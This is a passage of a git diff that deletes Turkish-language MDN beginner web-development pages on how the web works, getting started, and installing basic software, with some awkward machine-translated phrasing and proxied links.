</a>(30–40 saat okuma/alıştırmalar)</li> -</ul> - -<h4 id="Ek_kaynaklar">Ek kaynaklar</h4> - -<ul> - <li><a href="/en-US/docs/Web/CSS/Layout_cookbook">CSS düzeni yemek kitabı</a></li> -</ul> - -<h3 id="JavaScript_ile_etkileşim">JavaScript ile etkileşim</h3> - -<p>Tamamlama süresi: 135–185 saat</p> - -<h4 id="Önkoşullar_5">Önkoşullar</h4> - -<p>Javascript'e başlamadan önce temel HTML bilgisine sahip olmanız önerilir. En azından <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML'ye Giriş</a> kısmını okuyabilirsin.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_4">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Her modüldeki değerlendirmeler, konuyla ilgili bilginizi test etmek için tasarlanmıştır. Değerlendirmeleri başarıyla tamamlamak, bir sonraki modüle geçmeye hazır olduğunuzu onaylar.</p> - -<h4 id="Modüller_3">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript'in ilk adımları </a>(30–40 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript'in yapı taşları </a>(25–35 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/JavaScript/Objects">Javascript nesnelerine giriş</a> (25–35 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs">İstemci tarafı web API'ler</a> (30–40 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous">Eşzamansız JavaScript</a> (25–35 saat okuma/alıştırmalar)</li> -</ul> - -<h3 id="Web_formları_-_Kullancıcı_verileriyle_çalışma">Web formları - Kullancıcı verileriyle çalışma</h3> - -<p>Tamamlama süresi: 40–50 saat</p> - -<h4 id="Önkoşullar_6">Önkoşullar</h4> - -<p>Formlar, HTML, CSS ve Javascript bilgisi gerektirir. Formlarla çalışmanın karmaşıklığı göz önüne alındığında, bu özel ve üzerinde durulması gereken bir konudur.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_5">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Her modüldeki değerlendirmeler, konuyla ilgili bilginizi test etmek için tasarlanmıştır. Değerlendirmeleri başarıyla tamamlamak, bir sonraki modüle geçmeye hazır olduğunuzu onaylar.</p> - -<h4 id="Modüller_4">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/Forms">Web formları</a> (40–50 saat)</li> -</ul> - -<h3 id="Webin_herkes_için_çalışmasını_sağlama">Web'in herkes için çalışmasını sağlama</h3> - -<p>Tamamlama süresi: 60–75 saat</p> - -<h4 id="Önkoşullar_7">Önkoşullar</h4> - -<p>Bu bölümde çalışmadan önce HTML, CSS ve Javascript bilmek iyi bir fikirdir. Tekniklerin ve en iyi uygulamaların çoğu birden fazla teknolojinin bir arada bulunması ile ilgilidir.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_6">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Her modüldeki değerlendirmeler, konuyla ilgili bilginizi test etmek için tasarlanmıştır. Değerlendirmeleri başarıyla tamamlamak, bir sonraki modüle geçmeye hazır olduğunuzu onaylar.</p> - -<h4 id="Modüller_5">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing">Çarpraz tarayıcı testi</a>(25–30 saat okuma/alıştırmalar)</li> - <li><a href="/en-US/docs/Learn/Accessibility">Erişilebilirlik</a> (20–25 saat okuma/alıştırmalar)</li> -</ul> - -<h3 id="Modern_Araçlar">Modern Araçlar</h3> - -<p>Tamamlama süresi: 55–90 saat</p> - -<h4 id="Önkoşullar_8">Önkoşullar</h4> - -<p>Üzerinde yoğunlaşılacak bu araçlar, birden çok teknolojiler ile çalıştığından dolayı HTML, CSS ve Javascript bilmek iyi bir fikirdir.</p> - -<h4 id="Devam_etmeye_hazır_olduğumu_nasıl_bileceğim_7">Devam etmeye hazır olduğumu nasıl bileceğim?</h4> - -<p>Bu modül setinde özel değerlendirme makaleleri, testleri yoktur. İkinci ve üçüncü modüllerin sonundaki olay çalışması eğitimleri, sizi modern aletlerin temellerini kavramaya hazırlar.</p> - -<h4 id="Modüller_6">Modüller</h4> - -<ul> - <li><a href="/en-US/docs/Learn/Tools_and_testing/GitHub">Git ve GitHub</a> (5 saat okuma)</li> - <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools">İstemci tarafı web geliştirme araçlarını tanıma</a> (20–25 saat okuma)</li> - <li> - <p><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">İstemci tarafı Javascript araçlarını anlama </a>(30-60 saat okuma/alıştırmalar)</p> - </li> -</ul> diff --git a/files/tr/learn/getting_started_with_the_web/how_the_web_works/index.html b/files/tr/learn/getting_started_with_the_web/how_the_web_works/index.html deleted file mode 100644 index 4b706170ec..0000000000 --- a/files/tr/learn/getting_started_with_the_web/how_the_web_works/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: How the Web works -slug: Learn/Getting_started_with_the_web/How_the_Web_works -translation_of: Learn/Getting_started_with_the_web/How_the_Web_works -original_slug: Öğren/Getting_started_with_the_web/How_the_Web_works ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div> - -<div class="summary"> -<p><em>Nasıl web işleri</em> sağlar basitleştirilmiş bir bakış ne durumda görünümünde bir web sayfası içinde bir web tarayıcı üstünde senin bilgisayar ya da telefon.</p> -</div> - -<p>Bu teori, kısa vadede web kodu yazmak için gerekli değildir, ancak çok geçmeden arka planda neler olup bittiğini anlamaktan gerçekten yararlanmaya başlayacaksınız.</p> - -<h2 id="İstemciler_ve_sunucular">İstemciler ve sunucular</h2> - -<p>Web'e bağlı bilgisayarlara <strong>istemciler </strong>ve <strong>sunucular denir</strong>. Nasıl etkileşime girdiklerine dair basitleştirilmiş bir diyagram şöyle görünebilir:</p> - -<p><img alt="İstemci ve sunucuyu temsil eden iki daire. Bir ok etiketli istek istemciden sunucuya gidiyor ve bir ok etiketli yanıtlar sunucudan istemciye gidiyor" src="https://mdn.mozillademos.org/files/17297/simple-client-server.png" style="height: 371px; width: 1193px;"></p> - -<p><img alt="Two circles representing client and server. An arrow labelled request is going from client to server, and an arrow labelled responses is going from server to client" src="https://mdn.mozillademos.org/files/17297/simple-client-server.png" style="height: 371px; width: 1193px;"></p> - -<ul> - <li>İstemciler, tipik bir web kullanıcısının internete bağlı cihazlarıdır (örneğin, Wi-Fi'ye bağlı bir bilgisayar veya mobil ağa bağlı bir telefon) ve bu cihazlarda bulunan web tabanlı yazılımlardır (genellikle Firefox veya Chrome gibi bir web tarayıcısı).</li> - <li>Sunucular, web sayfalarını, siteleri veya uygulamaları depolayan bilgisayarlardır. Bir istemci aygıtı bir web sayfasına erişmek istediğinde, web sayfasının bir kopyası sunucudan kullanıcının web tarayıcısında görüntülenecek istemci makineye yüklenir.</li> -</ul> - -<h2 id="Araç_kutusunun_diğer_bölümleri">Araç kutusunun diğer bölümleri</h2> - -<p>Yukarıda anlattığımız istemci ve sunucu tüm hikayeyi anlatmıyor. Burada başka birçok bölüm var ve bunları aşağıda açıklayacağız.</p> - -<p>Şimdilik, Web'in bir yol olduğunu hayal edelim. Yolun bir ucunda, eviniz gibi bir müşteri var. Yolun diğer ucunda bir şey satın almak istediğiniz bir dükkan olan sunucu var.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p> - -<p>İstemci ve sunucuya ek olarak, biz de merhaba demek gerekir:</p> - -<ul> - <li><strong>İnternet bağlantınız</strong>: çevrimiçi veri göndermenizi ve almanızı sağlar. Temelde eviniz ve dükkan arasındaki sokak gibi.</li> - <li><strong>TCP / IP</strong>: iletim kontrol Protokolü ve İnternet Protokolü, verilerin internet üzerinden nasıl geçmesi gerektiğini tanımlayan iletişim protokolleridir. Bu, sipariş vermenize, mağazaya gitmenize ve mallarınızı satın almanıza izin veren ulaşım mekanizmaları gibidir. Örneğimizde, bu bir araba ya da bisiklet gibidir (ya da etrafta dolaşabilirsiniz).</li> - <li><strong>DNS</strong>: Alan Adı sunucuları Web siteleri için bir adres defteri gibidir. Tarayıcınıza bir web adresi yazdığınızda, tarayıcı Web sitesini almadan önce web sitesinin gerçek adresini bulmak için DNS'YE bakar. Tarayıcı, web sitesinin hangi sunucuda yaşadığını bulmalıdır, böylece HTTP mesajlarını doğru yere gönderebilir (aşağıya bakınız). Bu, mağazanın adresini aramak gibi, böylece ona erişebilirsiniz.</li> - <li><strong>HTTP</strong>: köprü metni Aktarım Protokolü, istemcilerin ve sunucuların birbirleriyle konuşması için bir dili tanımlayan bir uygulama protokolüdür. Bu, mallarınızı sipariş etmek için kullandığınız dil gibidir.</li> - <li><strong>Bileşen dosyaları</strong>: bir web sitesi, mağazadan satın aldığınız malların farklı bölümlerine benzeyen birçok farklı dosyadan oluşur. Bu dosyalar iki ana tipte gelir: - <ul> - <li><strong>Kod dosyaları</strong>: web siteleri öncelikle HTML, CSS ve Javascript'ten oluşturulmuştur, ancak daha sonra diğer teknolojilerle tanışacaksınız.</li> - <li><strong>Varlıklar</strong>: bu, resimler, müzik, video, Word belgeleri ve PDF'ler gibi bir Web sitesini oluşturan diğer tüm şeyler için ortak bir addır.</li> - </ul> - </li> -</ul> - -<h2 id="Peki_tam_olarak_ne_olacak">Peki tam olarak ne olacak?</h2> - -<p>Tarayıcınıza bir web adresi girdiğinizde (analojimiz için mağazaya gitmek gibi):</p> - -<ol> - <li>Tarayıcı DNS sunucusuna gider ve web sitesinin yaşadığı sunucunun gerçek adresini bulur (mağazanın adresini bulursunuz).</li> - <li>Tarayıcı, sunucuya bir HTTP isteği mesajı gönderir ve web sitesinin bir kopyasını müşteriye göndermesini ister (mağazaya gidin ve mallarınızı sipariş edin). Bu ileti ve istemci ile sunucu arasında gönderilen diğer tüm veriler, TCP/IP kullanarak ınternet bağlantınız üzerinden gönderilir.</li> - <li>Sunucu müşterinin isteğini onaylarsa, sunucu müşteriye bir "200 Tamam"mesajı gönderir, bu da "elbette bu web sitesine bakabilirsiniz! İşte burada " ve daha sonra web sitesinin dosyalarını tarayıcıya veri paketleri adı verilen bir dizi küçük parça olarak göndermeye başlar (dükkan size mallarınızı verir ve bunları evinize geri getirirsiniz).</li> - <li>Tarayıcı, Küçük parçaları tam bir web sayfasına toplar ve size görüntüler (mallar kapınıza gelir — yeni parlak şeyler, harika!).</li> -</ol> - -<h2 id="DNS_açıkladı">DNS açıkladı</h2> - -<p>Gerçek web adresleri, en sevdiğiniz web sitelerini bulmak için adres çubuğunuza yazdığınız güzel, unutulmaz dizeler değildir. Bunlar aşağıdaki gibi görünen özel sayılardır: <code>63.245.215.20</code>.</p> - -<p>Buna bir <a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/docs/Glossary/IP_Address">IP adresi</a>denir ve web üzerinde benzersiz bir konumu temsil eder. Ancak, hatırlamak çok kolay değil, değil mi? Bu yüzden Alan Adı sunucuları icat edildi. Bunlar, tarayıcınıza yazdığınız bir web adresiyle eşleşen özel sunuculardır (örneğin "mozilla.org") web sitesinin gerçek (IP) adresine.</p> - -<p>Web sitelerine doğrudan IP adresleri üzerinden ulaşılabilir. Bir web sitesinin IP adresini, etki alanını IP Denetleyicisi gibi bir araca yazarak bulabilirsiniz .</p> - -<h2 id="Paketler_açıklandı">Paketler açıklandı</h2> - -<p>Daha önce, verilerin sunucudan istemciye gönderildiği formatı tanımlamak için "paketler" terimini kullandık. Burada ne demek istiyoruz? Temel olarak, veriler web üzerinden gönderildiğinde, binlerce küçük parça olarak gönderilir, böylece birçok farklı web kullanıcısı aynı web sitesini aynı anda indirebilir. Web siteleri tek büyük parçalar olarak gönderildiyse, yalnızca bir kullanıcı bir seferde bir tane indirebilir, bu da Web'i çok verimsiz ve kullanımı çok eğlenceli hale getirecektir.</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/How_the_Internet_works">İnternet nasıl çalışır?</a></li> - <li><a class="external" href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/dev.opera.com/articles/http-basic-introduction/" rel="noopener">HTTP-uygulama düzeyinde bir protokol</a></li> - <li><a class="external" href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/dev.opera.com/articles/http-lets-get-it-on/" rel="noopener">HTTP: Hadi başlayalım!</a></li> - <li><a class="external" href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/dev.opera.com/articles/http-response-codes/" rel="noopener">HTTP: yanıt kodları</a><a href="https://dev.opera.com/articles/http-response-codes/"> </a></li> -</ul> - -<h2 id="Kredi">Kredi</h2> - -<p>Sokak fotoğraf: <a class="external" href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/www.flickr.com/photos/kdigga/9110990882/in/photolist-cXrKFs-c1j6hQ-mKrPUT-oRTUK4-7jSQQq-eT7daG-cZEZrh-5xT9L6-bUnkip-9jAbvr-5hVkHn-pMfobT-dm8JuZ-gjwYYM-pREaSM-822JRW-5hhMf9-9RVQNn-bnDMSZ-pL2z3y-k7FRM4-pzd8Y7-822upY-8bFN4Y-kedD87-pzaATg-nrF8ft-5anP2x-mpVky9-ceKc9W-dG75mD-pY62sp-gZmXVZ-7vVJL9-h7r9AQ-gagPYh-jvo5aM-J32rC-ibP2zY-a4JBcH-ndxM5Y-iFHsde-dtJ15p-8nYRgp-93uCB1-o6N5Bh-nBPUny-dNJ66P-9XWmVP-efXhxJ" rel="noopener">Sokak beste</a>, <a class="external" href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/www.flickr.com/photos/kdigga/" rel="noopener">Kevin D</a>.</p> - -<div class="prevnext"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Publishing_your_website"><span class="label">Önceki </span></a><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Genel Bakış: web ile Başlarken</a></div> - -<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p> - -<h2 id="Bu_modülde">Bu modülde</h2> - -<ul> - <li id="Installing_basic_software"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">Temel yazılım yükleme</a></li> - <li id="What_will_your_website_look_like"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web siteniz nasıl görünecek?</a></li> - <li id="Dealing_with_files"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dosyalarla çalışmak</a></li> - <li id="HTML_basics"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML temelleri</a></li> - <li id="CSS_basics"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS temelleri</a></li> - <li id="JavaScript_basics"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript temelleri</a></li> - <li id="Publishing_your_website"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Web sitenizi yayınlama</a></li> - <li id="How_the_web_works"><a href="https://z5h64q92x9.net/proxy_u/en-tr.en/https/developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Web nasıl çalışır?</a><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works"> </a></li> -</ul> diff --git a/files/tr/learn/getting_started_with_the_web/index.html b/files/tr/learn/getting_started_with_the_web/index.html deleted file mode 100644 index 502ad9648c..0000000000 --- a/files/tr/learn/getting_started_with_the_web/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Web ile başlarken -slug: Learn/Getting_started_with_the_web -translation_of: Learn/Getting_started_with_the_web -original_slug: Öğren/Getting_started_with_the_web ---- -<div>{{LearnSidebar}}</div> - -<div class="summary"> -<p><br> - Web'i kullanmaya başlarken, size web geliştirmenin pratiklerini anlatan kısa bir seridir. Basit bir web sayfası oluşturmak ve kendi kodunuzu yayınlamak için ihtiyaç duyacağınız araçları kurmalısınız.</p> -</div> - -<h2 id="İlk_web_sitenizin_hikayesi">İlk web sitenizin hikayesi</h2> - -<p>Profesyonel bir web sitesi oluşturmak için çok fazla iş yapmak gerekir, bu yüzden web geliştirme konusunda yeniyseniz, küçük çapta başlamanızı öneririz. Hemen başka bir Facebook kurmayacaksınız, ancak kendi basit web sitenizi çevrimiçi yapmak zor değil, o yüzden buradan başlayacağız.</p> - -<p>Aşağıda sıralanan makalelerde sırayla çalışarak, ilk web sayfanızı çevrimiçi hale getireceksiniz. Hadi başlayalım!</p> - -<h3 id="Temel_yazılım_kurma"><a href="/tr/docs/Öğren/Getting_started_with_the_web/Installing_basic_software">Temel yazılım kurma</a></h3> - -<p>Bir web sitesi oluşturmak için araçlar söz konusu olduğunda, seçilecek çok şey var. Yeni başlıyorsanız, bir çok kod editörleri, çerçeveler (framework) ve test araçlarıyla karşılaşınca şaşırabilirsiniz. <a href="/tr/docs/Öğren/Getting_started_with_the_web/Installing_basic_software">Temel yazılımı yükleme</a> bölümünde, temel web geliştirmesine başlamak için ihtiyaç duyduğunuz yazılımı nasıl yükleyeceğinizi adım adım göstereceğiz.</p> - -<h3 id="Websiteniz_nasıl_görünecek"><a href="/tr/docs/Öğren/Getting_started_with_the_web/Web_siteniz_nasil_gorunecek">Websiteniz nasıl görünecek?</a></h3> - -<p>Web siteniz için kod yazmaya başlamadan önce, önce onu planlamanız gerekir. Hangi bilgileri sergiliyorsunuz? Hangi yazı tiplerini ve renkleri kullanıyorsunuz? <a href="/tr/docs/Öğren/Getting_started_with_the_web/Web_siteniz_nasil_gorunecek">Web siteniz neye benzeyecek?</a> Sitenizin içeriğini ve tasarımını planlamak için izleyebileceğiniz basit bir yöntem sunuyoruz.</p> - -<h3 id="Dosyaların_Yönetimi"><a href="/tr/docs/Öğren/Getting_started_with_the_web/Dealing_with_files">Dosyaların Yönetimi</a></h3> - -<p>Bir web sitesi birçok dosyadan oluşur: metinsel içerikler, kodlar, stiller, medya içerikleri vb. Bir web sitesi oluştururken, bu dosyaları mantıklı bir yapıda birleştirmeniz ve birbirleriyle haberleşebildiklerinden emin olmanız gerekir. <a href="/tr/docs/Öğren/Getting_started_with_the_web/Dealing_with_files">Dosyaların yönetimi</a>, size web siteniz için mantıklı dosya yapısının nasıl kurulacağını ve hangi problemlerden haberdar olmanız gerektiğini açıklar.</p> - -<h3 id="HTML_temelleri"><a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML temelleri</a></h3> - -<p>Hiperyazı İşaretleme Dili (HTML) web içeriğinizi yapılandırmak ve anlam ve amaç vermek için kullandığınız koddur. Örneğin, içeriğim bir paragraflar dizisi mi yoksa madde imi listesi mi? Sayfama resim eklenmiş mi? Veri tablom var mı? Sizi bunaltmadan, <a href="/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML temelleri</a> size HTML ile tanışmanız için yeterli bilgiyi sağlayacaktır.</p> - -<h3 id="CSS_temelleri"><a href="/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS temelleri</a></h3> - -<p>Cascading Stylesheets (CSS), web sitenizi şekillendirmek için kullandığınız koddur. Örneğin, metninizin siyah mı kırmızı mı olmasını istersiniz? İçeriğiniz ekranın neresinde görünmesini istersiniz? Web sitenizi süslemek için hangi arka plan resimleri ve renkleri kullanılmalıdır? <a href="/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS temelleri</a> sizi başlamanız gereken yere götürür.</p> - -<h3 id="JavaScript_temelleri"><a href="/tr/docs/Öğren/Getting_started_with_the_web/JavaScript_basics">JavaScript temelleri</a></h3> - -<p>JavaScript web sitenize interaktif içerikler eklemek için kullandığınız programlama dilidir, örneğin oyunlar, butonlara basıldığında veya veriler formlara girildiğinde gerçekleşen şeyler, dinamik stil efektleri, animasyon, ve daha fazlası. <a href="/tr/docs/Öğren/Getting_started_with_the_web/JavaScript_basics">JavaScript temelleri</a> size bu ilginç dil ile neler yapabileceğiniz ve nasıl başlayacağınız konusunda bir fikir verir.</p> - -<h3 id="Websiteni_yayınla"><a href="/tr/docs/Öğren/Getting_started_with_the_web/Publishing_your_website">Websiteni yayınla</a></h3> - -<p>Kodu yazmayı ve web sitenizi yaratan dosyaları düzenlemeyi bitirdikten sonra, hepsini insanların bulabilmesi için internete yüklemeniz gerekmektedir. <a href="/tr/docs/Öğren/Getting_started_with_the_web/Publishing_your_website">Örnek kodu yayınla</a>, size minimum çaba ile basit örnek kodunuzun nasıl internette yayınlanacağını açıklar.</p> - -<h3 id="Web_nasıl_çalışır"><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Web nasıl çalışır</a></h3> - -<p>Favori web sitenize bağlandığınızda, arka planda bilmediğiniz birçok karmaşık şey olur. <a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">Web nasıl çalışır</a>, bilgisayarınızda bir web sayfasını görüntülediğinizde neler olacağını gösterir.</p> diff --git a/files/tr/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/tr/learn/getting_started_with_the_web/installing_basic_software/index.html deleted file mode 100644 index b6bd4c9150..0000000000 --- a/files/tr/learn/getting_started_with_the_web/installing_basic_software/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Installing basic software -slug: Learn/Getting_started_with_the_web/Installing_basic_software -tags: - - Aletler - - Başlangıç - - Yüklemeler - - Öğrenme -translation_of: Learn/Getting_started_with_the_web/Installing_basic_software -original_slug: Öğren/Getting_started_with_the_web/Installing_basic_software ---- -<div><font><font>{{LearnSidebar}}</font></font></div> - -<div><font><font>{{NextMenu ("Öğrenmek / Almak_started_with_the_web / What_will_your_website_look_like", "Öğrenmek / Getting_started_with_the_web")}}</font></font></div> - -<div class="summary"> -<p><em>Temel yazılımı yükleme</em> konusunda, sizlere basit web geliştirme yapmak için gereken araçları ve bunları nasıl düzgün bir şekilde kuracağınızı gösteriyoruz.</p> -</div> - -<h2 id="Bir_profesyonelin_sahip_olması_gereken_araçlar_nelerdir">Bir profesyonelin sahip olması gereken araçlar nelerdir ?</h2> - -<ul> - <li><strong>Bir Bilgisayar</strong>. Belki, bir kısmınıza şaşırtıcı gelebilir, fakat bazılarınız bu sayfayı mobil telefonundan veya kütüphanedeki bir bilgisayardan okuyor. Ciddi bir web geliştiricisi olmak için iyi bir masa üstü veya diz üstü bilgisayara ihtiyacınız olacak. (Windows, Mac, or Linux).</li> - <li>Kodu yazmak için<strong>, text editörünüz olmalı </strong>(ör. <a href="http://brackets.io/">Brackets</a>, <a href="https://atom.io/">Atom</a> veya <a href="https://code.visualstudio.com/">Visual Studio Code</a>), veya karma bir editör (ör.<a href="https://www.adobe.com/products/dreamweaver.html">Dreamweaver</a>). <u>Ofis belgeleri bu iş için uygun değildir.</u></li> - <li><strong>Kodunuzu test etmek için iyi bir Web tarayıcısı,</strong> En çok kullanılan tarayıcılar : <a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/safari/">Safari</a>, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> ve <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>. Ayrıca tavsiyemiz, sitenizin mobil cihazlarda ve eski tarayıcılarda nasıl performans gösterdiğini test etmeniz. Eski sürümler halen ciddi bir yoğunlukta (IE 6–8.) gibi.</li> - <li><strong>Grafik Editörü</strong>, web sitenize görüntüler yapmak için, mesala <a href="http://www.gimp.org/">GIMP</a>, <a href="http://www.getpaint.net/">Paint.NET</a>, veya <a href="https://www.adobe.com/products/photoshop.html">Photoshop</a>.</li> - <li><strong>Sürüm kontrol sistemi</strong>, sunuculardaki dosyaları yönetmek, ekiple bir projede işbirliği yapmak, kodunuzu ve gerekli dosyalarınızı paylaşmak, ve düzenlemedeki çakışmalardan kaçınmak içindir. Şuan <a href="http://git-scm.com/">Git</a> popüler bir sürüm kontrol sistemidir, ve Git'e merkezli <a href="https://github.com/">GitHub</a> kod barındırma hizmeti de çok popüler.</li> - <li><strong>FTP programı</strong>, web üzerinde barındılan dosyaların serverlardan yönetilmesinde kullanıldı. (<a href="http://git-scm.com/">Git</a> bu amaçla giderek FTP yerini değiştiriyor). <a href="https://cyberduck.io/">Cyberduck</a>, <a href="http://fetchsoftworks.com/">Fetch</a>, ve <a href="https://filezilla-project.org/">FileZilla</a> dahil olmak üzere bir çok (S) FTP programı bulunmaktadır.</li> - <li><strong>Otomasyon Sistemi</strong> <a href="http://gruntjs.com/">Grunt</a> veya <a href="http://gulpjs.com/">Gulp</a> tekrarlanan görevleri otomatikleştirir, mesela kodu küçültme ve testleri çalıştırıyor.</li> - <li>Ortak işlevselliği hızlandırmak için şablonlar, kütüphaneler, çerçeveler, vb.</li> - <li>Üstelik daha fazla araç!</li> -</ul> - -<h2 id="Şu_anda_hangi_araçlara_ihtiyacım_var"><font><font>Şu anda hangi araçlara ihtiyacım var?</font></font></h2> - -<p><font><font>Bu korkutucu bir listeye benziyor, ama neyse ki bunların çoğuyla ilgili hiçbir şey bilmeden web geliştirmeye başlayabilirsiniz. </font><font>Bu yazıda, size yalnızca minimum düzeyde bir kurulum yapacağız - bir metin editörü ve bazı modern web tarayıcıları.</font></font></p> - -<h3 id="Metin_editörü_yükleme"><font><font>Metin editörü yükleme</font></font></h3> - -<p><font><font>Muhtemelen bilgisayarınızda zaten temel bir metin editörünüz vardır. </font><font>Varsayılan olarak, Windows </font></font><a href="https://en.wikipedia.org/wiki/Microsoft_Notepad"><font><font>Not Defteri'ni</font></font></a><font><font> içerir </font><font>ve macOS </font></font><a href="https://en.wikipedia.org/wiki/TextEdit"><font><font>TextEdit</font></font></a><font><font> ile birlikte gelir </font><font>. </font><font>Linux dağıtımları değişir; </font><font>Ubuntu </font><font>varsayılan </font><font>olarak </font></font><a href="https://en.wikipedia.org/wiki/Gedit"><font><font>gedit</font></font></a><font><font> ile birlikte gelir </font><font>.</font></font></p> - -<p><font><font>Web geliştirme için, muhtemelen Not Defteri'nden veya TextEdit'ten daha iyisini yapabilirsiniz. </font><font>Canlı önizlemeler ve kod ipuçları sunan ücretsiz bir editör olan </font></font><a href="http://brackets.io"><font><font>Brackets</font></font></a><font><font> ile başlamanızı öneririz </font><font>.</font></font></p> - -<h3 id="Modern_web_tarayıcılarını_yükleme"><font><font>Modern web tarayıcılarını yükleme</font></font></h3> - -<p><font><font>Şimdilik, kodumuzu test etmek için birkaç masaüstü web tarayıcısı kuracağız. İşletim sisteminizi aşağıdan seçin ve favori tarayıcılarınızın kurulumcularını indirmek için ilgili bağlantıları tıklayın:</font></font></p> - -<ul> - <li><font><font>Linux: </font></font><a href="https://www.mozilla.org/en-US/firefox/new/"><font><font>Firefox</font></font></a><font><font> , </font></font><a href="https://www.google.com/chrome/browser/"><font><font>Chrome</font></font></a><font><font> , </font></font><a href="http://www.opera.com/"><font><font>Opera</font></font></a><font><font> .</font></font></li> - <li><font><font>Windows: </font></font><a href="https://www.mozilla.org/en-US/firefox/new/"><font><font>Firefox</font></font></a><font><font> , </font></font><a href="https://www.google.com/chrome/browser/"><font><font>Chrome</font></font></a><font><font> , </font></font><a href="http://www.opera.com/"><font><font>Opera</font></font></a><font><font> , </font></font><a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie"><font><font>Internet Explorer</font></font></a><font><font> , </font></font><a href="https://www.microsoft.com/en-us/windows/microsoft-edge"><font color="#0066cc"><font><font>Microsoft Edge</font></font></font></a><font><font> (Windows 10, varsayılan olarak Edge ile birlikte gelir; Windows 7 veya daha üst sürümlere sahipseniz, Internet Explorer 11'i yükleyebilirsiniz; aksi halde alternatif bir tarayıcı yüklemelisiniz)</font></font></li> - <li><font><font>Mac: </font></font><a href="https://www.mozilla.org/en-US/firefox/new/"><font><font>Firefox</font></font></a><font><font> , </font></font><a href="https://www.google.com/chrome/browser/"><font><font>Chrome</font></font></a><font><font> , </font></font><a href="http://www.opera.com/"><font><font>Opera</font></font></a><font><font> , </font></font><a href="https://www.apple.com/safari/"><font><font>Safari</font></font></a><font><font> (Safari, varsayılan olarak iOS ve macOS ile birlikte gelir)</font></font></li> -</ul> - -<p><font><font>Devam etmeden önce, bu tarayıcılardan en az ikisini kurmalı ve test için hazır bulundurmalısınız.</font></font></p> - -<h3 id="Yerel_bir_web_sunucusu_kurmak"><font><font>Yerel bir web sunucusu kurmak</font></font></h3> - -<p><font><font>Bazı örneklerin başarılı bir şekilde çalışması için bir web sunucusu üzerinden çalıştırılması gerekir. </font><font>Bunun </font></font><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server"><font><font>nasıl yapılacağını öğrenerek yerel bir test sunucusu nasıl 